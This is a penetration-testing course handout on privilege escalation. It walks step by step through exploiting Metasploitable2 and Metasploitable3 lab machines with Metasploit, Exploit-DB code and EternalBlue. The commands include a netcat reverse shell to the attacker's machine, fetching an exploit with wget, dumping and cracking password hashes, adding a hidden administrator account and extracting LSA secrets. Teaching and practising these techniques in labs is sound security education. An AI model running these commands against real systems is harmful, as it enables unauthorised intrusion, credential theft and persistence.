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 HO# 2.7: Privilege Escalation 
 

Quick Recap of What we have Covered 
Phase	1-	Reconnaissance	and	Information	Gathering	 

The	Information	gathering	phase	(reconnaissance)	is	the	initial	step	in	the	penetration	testing	lifecycle.	This	
phase	involves	collecting	as	much	public	information	as	possible	about	the	organization,	systems,	networks,	
applications,	and	employees	to	identify	potential	vulnerabilities	and	formulate	a	strategy	for	further	testing.	
Passive	information	gathering	(reconnaissance)	involves	collecting	data	without	directly	interacting	with	the	
target	system,	reducing	the	risk	of	detection.	Gathering	information	from	publicly	available	sources	like	news	
outlets,	blogs	and	social	media	platforms	(Twitter,	Facebook,	LinkedIn)	is	named	as	Open-Source	Intelligence	
(OSINT).	The	techniques	used	for	OSINT	are	Web	Scraping,	Google	Dorking,	and	social	media	profiling.	The	
tools	 that	 we	 have	 used	 for	 this	 in	 HO#2.2	 were	 host, nslookup, dig, whois, knockpy, 
netdiscover, traceroute, whatweb, theHarvester, sherlock, wfw00f, Google 
Dorking, and	the	famous	OSINT framework.  

	

Phase	2-	Scanning	and	Vulnerability	Analysis	 

Scanning	and	vulnerability	analysis	is	the	second	phase	of	penetration	testing	whose	objective	is	to	discover	
open	 ports,	 services,	 OS,	 library	 versions	 and	 other	 information	 about	 the	 target	 machine/NW.	 This	
information	is	then	used	to	identify	potential	vulnerabilities,	weaknesses,	and	misconfigurations	that	can	be	
exploited	to	gain	unauthorized	access	to	the	target	machine/NW.	You	can	say	in	this	phase	we	perform	Active	
information	gathering,	because	the	tools	used	in	this	phase	directly	interact	with	the	target	network,	hosts,	
ports,	 employees,	 and	 so	 on	 to	 collect	 data.	 So	 DONOT	 perform	 active	 network	 scanning	 unless	 you	 have	
written	permission	of	the	system	owner	to	perform	that	testing.	The	tools	that	we	have	used	for	scanning	and	
vulnerability	analysis	in	HO#2.3	and	HO#2.4	were	nmap, searchsploit, nessus, OpenVAS, and	
MSF.  

 

Phase 3- Exploitation and Gaining Access 

In this phase, the pentester take the advantage of the identified weaknesses like vulnerable 
applications and default configurations/credentials running on the target machine to gain 
unauthorized entry into the target system.  

• Exploit known vulnerabilities. 
• Exploit default configurations/credentials. 
• Launch Brute Force attacks on weak credentials. 
• Launch social engineering attacks. 
• Launch phishing attacks. 

 

There exist many tools to perform the tasks of this phase like, MSF, Exploit DB, Burp Suite, SQLmap, 
BeEF (Browser Exploitation Framework), Social Engineering Toolkit, Cobalt Strike and PowerSploit. 
In HO#2.5, we covered the MSF to exploit and gain initial access on the target system and in HO#2.6, 
we used tools like msfvenom and veil to generate our custom payloads. 
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Phase 4 – Privilege Escalation 

Dear students, after gaining initial access to the target machine, the next $100 question is what we 
are going to do now? There are lots and lots of options depending on what we are up to. For example: 

• Look at Files: What files and programs are there on the target machine. Maybe we could find 
saved passwords or other important organizational data lying on that machine. We could download 
files from that machine. We could upload files or other payloads on the target machine.  

• Steal and Crack Passwords: We could try to extract saved passwords from browsers that the 
user has saved inside the browser while visiting different websites or may be online accounts like 
PayPal. 

• Control the Network: We can try to gain access to the entire network using the target machine. 
May be in a company’s network you get access to one machine, but it does not house the information 
you are looking for. May be some important files are on some other machines in the same network. 
In that case you would like to hack the other machine from the machine that you have already 
hacked. It is always easy to hack a machine from another machine that is there on the same 
network. You can also launch man-in-the middle attack and so on. 

• Install Key Loggers: It is also possible that we can run keylogger on the machine that we have 
access to get what all the user type while accessing his/her social media accounts. 

The problem in performing above tasks, is you need to have root or administrative privileges on the 
target machine. But you may find that your session on the target machine has only limited user rights. 
This severely limits the actions that you can perform on the remote systems such as dumping 
passwords, manipulating registry, and installing backdoors or keyloggers. So, Privilege Escalation 
is a critical phase in penetration testing where the tester attempts to gain elevated access rights 
beyond initial compromises.  
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Privilege Escalation Techniques  
Once an attacker gains initial access using the Metasploit Framework, they often attempt to escalate 
privileges to gain greater control over the system. Privilege escalation techniques can be classified into 
two main categories: vertical privilege escalation (gaining higher-level privileges like root or admin) 
and horizontal privilege escalation (gaining access to another user’s account).  
 

Common Privilege Escalation Techniques: 
• Password Hash Dumping: Once an attacker gains access, they can dump password hashes from 

the system and attempt to crack them offline or reuse them. Attackers may look for files like 
/etc/passwd or /etc/shadow on Linux systems that are incorrectly configured.  Some tools that 
we can use for such tasks are hashdump, hashcat, John the Ripper, Cain and Abel. 

• SUID/SGID Exploits in Linux: Exploiting binaries with the SUID or SGID bit set, that allows 
you to execute those binaries with elevated privileges. Some examples are: 

o Linux Kernel Capabilities: Exploiting SUID binaries to escalate privileges on Linux 
systems. 

o CVE-2021-4034 (PwnKit): A widely used SUID binary in Linux that can be exploited to 
escalate to root privileges. The vulnerability resides in /usr/bin/pkexec, a command-line 
utility that allows authorized users to execute commands as another user, typically with 
elevated privileges. 

• Exploiting Misconfigured Services: Misconfigured services or processes running with elevated 
privileges may allow attackers to execute code with higher privileges. Some examples are: 

o Sudo Exploit (CVE-2019-14287): Exploiting misconfigurations in the sudo command (like 
CVE-2019-14287) to execute commands as a superuser. CVE-2019-14287 vulnerability 
exists in sudo versions prior to 1.8.28. The issue is triggered when the ALL keyword is 
specified in the Runas specification of the sudoers configuration file. The vulnerability is 
due to improper handling of the user ID -1 or 4294967295, the unsigned equivalent of -1. 
When -1 is used as the user ID, it is internally interpreted by sudo as “run as root”, even 
if the sudoers file specifies restrictions on. Which users a command can be run as. 

o Cron Jobs/Task Scheduler: Exploiting scheduled tasks that run with higher privileges, 
allowing an attacker to inject malicious scripts. 

• Exploiting Kernel Vulnerabilities: Attackers can exploit vulnerabilities in the operating 
system's kernel to gain system-level or root privileges. Some Metasploit examples are: 

o Dirty COW (CVE-2016-5195): A race condition in the Linux kernel that allows attackers to 
write to read-only memory using Copy-On-Write semantics. 

o MS13-053 (CVE-2013-3660): Windows kernel vulnerability that allows local privilege 
escalation. 
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MSF Post Module:  
In Metasploit Framework (MSF), the scripts inside the post module are designed for performing 
actions on a target machine after successful initial exploitation. All the post-exploitation scripts allow 
an attacker to extend their control (horizontally or vertically) and further explore the compromised 
network. These modules are stored in the post/ directory which further contains sub-directories like 
windows, linux, osx, solaris, android and so on, and further containing subdirectories like 
gather, recon, escalate, manage and so on. For example,  

o The gather directory includes modules focused on collecting data from the target system. Some 
example scripts are hashdump (to extract password hashes from the Windows SAM database), 
enum_system (to retrieve system information, including OS version, hostname and user 
information), enum_configs (to collect configuration information on the compromised machine).  

o The escalate directory contains modules designed for privilege escalation. These modules 
attempt to elevate the user’s privileges on the target system to gain root or administrator access 
allowing deeper control over the system. Some example scripts are getsystem (attempts to elevate 
privileges on Windows machine), get_root (attempts various methods to escalate privileges on a 
Linux system, often by targeting misconfigurations or known vulnerabilities).  

o The multi directory contains post-exploitation modules that are designed to work across multiple 
OSs including Windows, Linux, macOS and Android. Some example scripts are 
shell_to_meterpreter (attempts to open a meterpreter session from a simple shell session). 
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Escalating Privileges after Exploiting distcc on M2  
Metasploitable2 contains a vulnerable service called distccd running on port 3632, which is used to 
speed up compilation by taking advantage of unused processing power on other computers in the NW. 
A machine with distcc installed can send code to be compiled across the network to a computer which 
has the distccd daemon and a compatible compiler installed. Unfortunately, this version of the 
program allows a remote attacker to execute arbitrary commands on the server. CVE 2004-2687 and 
CVE 2009-1185 
We will do the privilege escalation using the following steps: 

I. First, we will exploit the vulnerable distcc daemon and get a reverse shell as a regular user. 
II. We will use the post/multi/manage/shell_to_meterpreter.rb script to get a 

meterpreter session as a regular user. 
III. We will use the exploit_suggester to choose an appropriate exploit for privilege escalation. 
IV. Finally, we will run the selected exploit that ultimately gives us a meterpreter session with 

root privileges J 
 
 
 

Step 1: Get a Session on the Target Machine: 
• Scan for the distccd service running on Metasploitable2 machine 

msf6> nmap -sV -p 3000-4000 <ip of M2>  
 

 
 
 
• Use the search command to look for appropriate exploit 

msf6> search distccd 
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msf6> use exploit/unix/misc/distcc_exec 
[*] No payload configured, defaulting to cmd/unix/revere_bash 
msf6 exploit(unix/misc/distcc_exec)> show options 
 

 
 
 
 
 
 
 
 
 
 

 
 
 
 

msf6 exploit(unix/misc/distcc_exec)> set RHOSTS <IP of M2> 
msf6 exploit(unix/misc/distcc_exec)> show payloads 
 

 
 
msf6 exploit(unix/misc/distcc_exec)> set payload cmd/unix/bind_ruby 
msf6 exploit(unix/misc/distcc_exec)> run 

 
• Once you run the exploit, you get a bind shell, however, you have logged in to the target machine 

as a regular user named daemon. Next task is to upgrade to a meterpreter session. For this we 
will use Metasploit's local exploit suggester. While still in the basic command shell, press Ctrl-Z to 
background the session. We are now dropped back to the main Metasploit prompt. 
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• Step 2: Upgrade to Meterpreter 
• We are now dropped back to the main Metasploit prompt, and we can verify any sessions we have 

running in the background with the sessions command: 
msf6 exploit(unix/misc/distcc_exec)> sessions 
 

 
 
• The easiest way to upgrade a regular shell to a Meterpreter session is to use the -u flag followed 

by the session number to upgrade. This will execute the 
post/multi/manage/shell_to_meterpreter and as a result you will get a new meterpreter 
session: 
msf6 exploit(unix/misc/distcc_exec)> sessions -u 1 
 

• We can see the post module shell_to_meterpreter ran and a new session is opened. We can 
again verify this with the sessions command. You can see in the screen shot below there are two 
sessions now from Kali to our target machine: 
msf6 exploit(unix/misc/distcc_exec)> sessions 

 
• And we can interact with our new Meterpreter session using the -i flag on the desired session: 

msf6 exploit(unix/misc/distcc_exec)> sessions -i 2 
 

 
• While still in the meterpreter shell, press Ctrl-Z to background this session to drop back to the 

main Metasploit prompt. 
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Step 3: Run Exploit Suggester 
• So now we have two background sessions with M2, one is the basic shell and the other is the 

meterpreter session, both as daemon user. We are on the main prompt, now to load the local 
exploit suggester use the following command: 
 

msf6 exploit(unix/misc/distcc_exec)> use post/multi/recon/local_exploit_suggester 
 

• When we take a look at the options, we only need to specify the session we want to run this on, i.e., 
the meterpreter session which is 2: 
 

msf6 post(multi/recon/local_exploit_suggester)> show options 
msf6 post(multi/recon/local_exploit_suggester)> sessions 
msf6 post(multi/recon/local_exploit_suggester)> set session 2 
msf6 post(multi/recon/local_exploit_suggester)> run 

 

 
 

 
• We can see the module checks a number of local exploits and returns a few that seem viable J 
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Step 4: Run the Exploit and get Root Privileges 
• The final thing we need to do is use one of these exploits to get root on the system. We'll try the 

first one that was suggested to us. This exploit takes advantage of a vulnerability in the glibc 
dynamic linker, in which the LD_AUDIT environmental variable allows loading of a SUID object 
that ultimately runs with root privileges. 
 
msf6 post(multi/recon/local_exploit_suggester)> use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc 
 

msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc)> show options 
 

 
 
• Set the session just like before: 

msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc)> sessions 
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc)> set SESSION 2 
 

• The default payload is x64, since our M2 is of 32 bit so we need to change to payload: 
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc)> set payload linux/x86/meterpreter/reverse_tcp 
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc)> set LHOST <IP of Kali> 
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc)> run 
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Escalating Privileges after Exploiting postgresql on M2  
PostgreSQL also known as Postgres, is a free and open-source relational database management system 
emphasizing extensibility and SQL compliance. In Metasploitable2, there exist a vulnerable version 
of postgresql 8.3.0 running on port 5432. Unfortunately, this version of the program allows a 
remote attacker to execute arbitrary commands on the server. CVE 2004-2687 and CVE 2009-1185 

We will do the privilege escalation using the following steps: 
I. First, we will exploit the vulnerable postgresql daemon and get the meterpreter session 

as user postgres having limited user access. 
II. We will enumerate and look at the Kernel version or other s/w packages running on victim 

machine to find another exploit to run that will escalate our privileges or create a new session 
with elevated privileges. 

III. Finally, we will run the selected exploit that ultimately runs the meterpreter with root 
privileges. 

Step 1: Get a Session on the Target Machine: 
msf6> nmap -sV <ip of M2> -p 3000-4000 
msf6> search postgresql 

 

 
 

msf6> use exploit/linux/postgres/postgres_payload 
msf6 exploit(linux/postgres/postgres_payload)> show options 
msf6 exploit(linux/postgres/postgres_payload)> set RHOSTS <IP of M2> 
msf6 exploit(linux/postgres/postgres_payload)> set LHOST <IP of Kali> 
msf6 exploit(linux/postgres/postgres_payload)> run 
 
 
 
 
 
 
 
 
 
 
 

 
If you check getuid, you will see you are a regular user postgres and not root L 
You can run exploit suggester and use one of the recommended exploits to become root. But this 
time let me use another technique. 
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Step 2: Search for an exploit for Privilege Escalation 
• In order to find ways to elevate privileges, we need to do more enumeration on the victim machine. 

For this we need to check 
o The running processes on the victim machine. 
o The kernel version of the victim machine. 
o Other software packages that are installed on the victim machine. 

• From the established meterpreter sessions and on it using the command sysinfo, we have seen 
that the victim machine is running Ubuntu 8.04 (Linux 2.6.24-16-server) 

• Now on our Kali Linux machine, let us use searchsploit to locate exploits (inside Exploit DB) 
that have the string privilege. To shrink the available options, I have grep the appropriate 
kernel version running on Metasploitable2 machine, i.e., “Kernel 2.6” 
# searchsploit privilege | grep “Kernel 2.6” 

 

 
 
• Let us try the linux/local/8572.c payload. First, we need to get the absolute path of this file: 

# locate linux/local/8572.c 
 

 
 
 
• Let us view the contents of the file and read its usage: 

# less /usr/share/exploitdb/exploits/linux/local/8572.c 
 

 
 
• When this exploit runs, it is going to execute a file called run that should be there in the /tmp/ 

directory. So, we need to create a script (that will create a reverse shell) with the name of run that 
will access a listener process running on Kali Linux machine from Metasploitable2 at port 5555. 
DONOT forget to mention the current IP of Kali 
# vim run 
#! /bin/bash 
nc <IP of Kali> 5555 -e /bin/bash 
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Step 3: Copy the Exploit and Payload on Metasploitable2 
• Next step is to copy the exploit 8572.c and the script run to the Metasploitable2 machine in the 

/tmp directory. We can do this via some social engineering technique. But now let us use the 
Apache server running on Kali Linux and copy these two files in the /var/www/html/ directory 
and later will use the wget command from the Metasploitable2 machine to copy them in the /tmp/ 
directory of Metasploitable2. (Do ensure that Apache2 Web service is running on Kali) J 
 
# cp 8572.c run /var/www/html 
# systemctl start apache2 
# systemctl status apache2 
 

• Now we need to start a shell on the meterpreter session and use wget command to get the two 
files 8572.c and run in the /tmp/ directory of Metasploitable2. This is shown in the following 
screenshots: 

 

 
 

 
 
• Let us confirm whether the two files are there in the /tmp/ directory of Metasploitable2: 

 
• Now we need to compile the 8572.c file, to create it’s executable on M2 machine. This can be done 

using the shell that exist on M2 
gcc 8572.c -o exploit 
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Step 4: Run the Exploit on Metasploitable2 
• Before you run the exploit on M2, first run a listener process on Kali Linux 

# nc -lvp 5555 
 
 
 
 
 
 

• Now using the shell of M2, we need to run the compiled executable named exploit as mentioned 
in the usage of 8572.c file. But before that we need to get the process ID for the netlink socket 
using the following command: 
cat /proc/net/netlink 

• Now we need to run the executable file exploit (8572.c) using the following command: 
./exploit <PID> 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

• When we run the exploit as shown above, it will connect to the listener running at port 5555 on 
our Kali Linux machine and we get a root shell as shown below J 
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Post Exploitation Tasks on M2 
Use john to find weak passwords from their hashes 
• Now we have successfully got the root shell of Metasploitable2 machine on our Kali Linux machine. 

We can now use cat command to view the contents of /etc/passwd and /etc/shadow files and 
can select their contents and paste them in two files on our Kali machine with the names of 
passwd.txt and shadow.txt. 

• Now we can use the Linux unshadow command, that is passed two file names, one containing the 
contents of /etc/passwd file and the other containing the contents of /etc/shadow file. It will 
combine the two files so that John can use them.  
# unshadow passwd.txt shadow.txt 1> passwords.txt 
 

• Now that we have the combined file named passwords.txt, let us use john program to get the 
plain passwords along with the usernames: 
# john passwords.txt 
 

 
 

• To see the cracked passwords, use the following command: 
# john –-show passwords.txt 
 

 
 

The output is similar to /etc/passwd file, but having the plain password in its second field J 
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Post Exploitation Tasks on M3  
Network Basic Input/Output System (NetBIOS) is the older mechanism that Microsoft Windows 
systems use to share resources, particularly files, directories and printer among Windows and other 
Operating Systems. Windows 2000 onwards use a newer protocol called Server Message Block (SMB) 
for the same purpose. 

EternalBlue is a notorious exploit developed by the U.S. National Security Agency (NSA) and later 
leaked by the hacker group known as the Shadow Brokers in 2017. EternalBlue targets a vulnerability 
in the Server Message Block (SMB) protocol, specifically in Microsoft Windows systems (CVE-2017-
0144). This vulnerability allows remote code execution on unpatched Windows machines. 

Step 1: Get a Meterpreter Session with admin Privileges on M3: 
• In our HO#2.5, we used EternalBlue to exploit SMB service, that can be used to exploit Windows 

XP, Windows Vista, Windows 7, Windows 8.1, Windows 10, Windows Server 2003, Windows Server 
2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, and Windows 
Server 2016. Repeat by using the following commands: 
 
msf6> search eternalblue 
msf6> use exploit/windows/smb/ms17_010_eternalblue 
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp 
msf6 exploit(windows/smb/ms17_010_eternalblue)> show options 
msf6 exploit(windows/smb/ms17_010_eternalblue)> set RHOST <IP of M3> 
msf6 exploit(windows/smb/ms17_010_eternalblue)> show targets 
msf6 exploit(windows/smb/ms17_010_eternalblue)> set target Windows Server 2008R2 
msf6 exploit(windows/smb/ms17_010_eternalblue)> run 
………… 
meterpreter > getuid   
Server username: NT AUTHORITY\SYSTEM 
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Step 2: Post Exploitation Tasks on M3 
i. Let us use the meterpreter’s hashdump command that dumps the contents of Windows SAM 

(Security Account Manager) database, (C:\Windows\System32\config\SAM) which is a 
critical system component that stores information like usernames and passwords, and manages 
user and group security settings. 

meterpreter > help  
meterpreter > hashdump 
 

 
 
 

ii. We can use the meterpreter’s getsystem command to perform privilege escalation on M3: 

meterpreter > getsystem 
[-] Already running as SYSTEM 
 
 

iii. Let us use the meterpreter’s execute command that starts a new process on the target 
Windows system.   

meterpreter > execute -f cmd.exe -C -H -i -t 

C:\Windows\system32>  
 
o The -f options specify the file to execute, which in our case is cmd.exe (Windows command 

prompt).  
o The -C option is used to display the output of the command inside your meterpreter console.  
o The -H option is used to run the command in hidden mode, i.e., not visible to the target system 

user.  
o The -i option is used to run the command in interactive mode, i.e., you can continue issuing 

commands within the cmd.exe.  
o The -t option executes the command in a new thread.  
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iv. Let us now use net user command that is used for managing user accounts on a Windows 
system. It can display detailed information about user accounts, create new accounts, modify 
existing accounts, and delete accounts. When run without any arguments will lists all user 
accounts on the local computer. Let us create a new user arif with password password and 
assign him admin rights: 

 
C:\Windows\system32> net user arif password /add 
C:\Windows\system32> net localgroup administrators arif /add 
C:\Windows\system32> exit 
meterpreter > 
 
 

 
 
 
 
 

 
 

meterpreter > hashdump 
 

 
 

v. You can delete the user arif, that you have just created: 

meterpreter > execute -f cmd.exe -C -H -i -t 
C:\Windows\system32> net user arif /delete 
C:\Windows\system32> exit 
meterpreter > hashdump 

 
vi. Let us disable or enable the original admin user, if you want to: 

meterpreter > execute -f cmd.exe -C -H -i -t 
C:\Windows\system32> net user administrator /active:no 
C:\Windows\system32> net user administrator /active:yes 
C:\Windows\system32> exit 
meterpreter > 
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vii. The Windows Local Security Authority (LSA) Secrets are saved at 
HKEY_LOCAL_MACHINE\SECURITY in the Windows registry and contain information like 
policy settings, default security values, account information, cached login credentials, copy of 
SAM database. The post/windows/gather/lsa_secrets script in Metasploit is used to 
extract this valuable information that can be leveraged for further access or lateral movement. 
For this let us run the lsa_secrets script inside meterpreter session, which will download 
the file on Kali machine as shown in the screenshot. 

meterpreter > run post/windows/gather/lsa_secrets 

 

 
 

Now, let us view this file inside Kali machine. 
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• To Do:  
 

• In HO#2.5, we successfully exploited the Shellshock on vulnerable Apache service 
httpd2.2.8 running on port 80 of Metasploitable2 and have got the meterpreter session. 
Unfortunately, the user www-data do not have root privileges. Try to escalate the 
privileges. 

• Students should also try to exploit the vulnerable service UnrealIRCd (Internet Relay 
Chat daemon allows users to connect, communicate and exchange messages in real time) 
running on port 667 of Metasploitable2. Try to use the techniques discussed in this 
handout to escalate the privileges. Hint: Use unix/irc/unreal_ircd_3281_backdoor 
for your initial exploit. 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Disclaimer 
The series of handouts distributed with this course are only for educational purposes. Any actions and or 
activities related to the material contained within this handout is solely your responsibility. The misuse of 
the information in this handout can result in criminal charges brought against the persons in question. 
The authors will not be held responsible in the event any criminal charges be brought against any 
individuals misusing the information in this handout to break the law. 
 


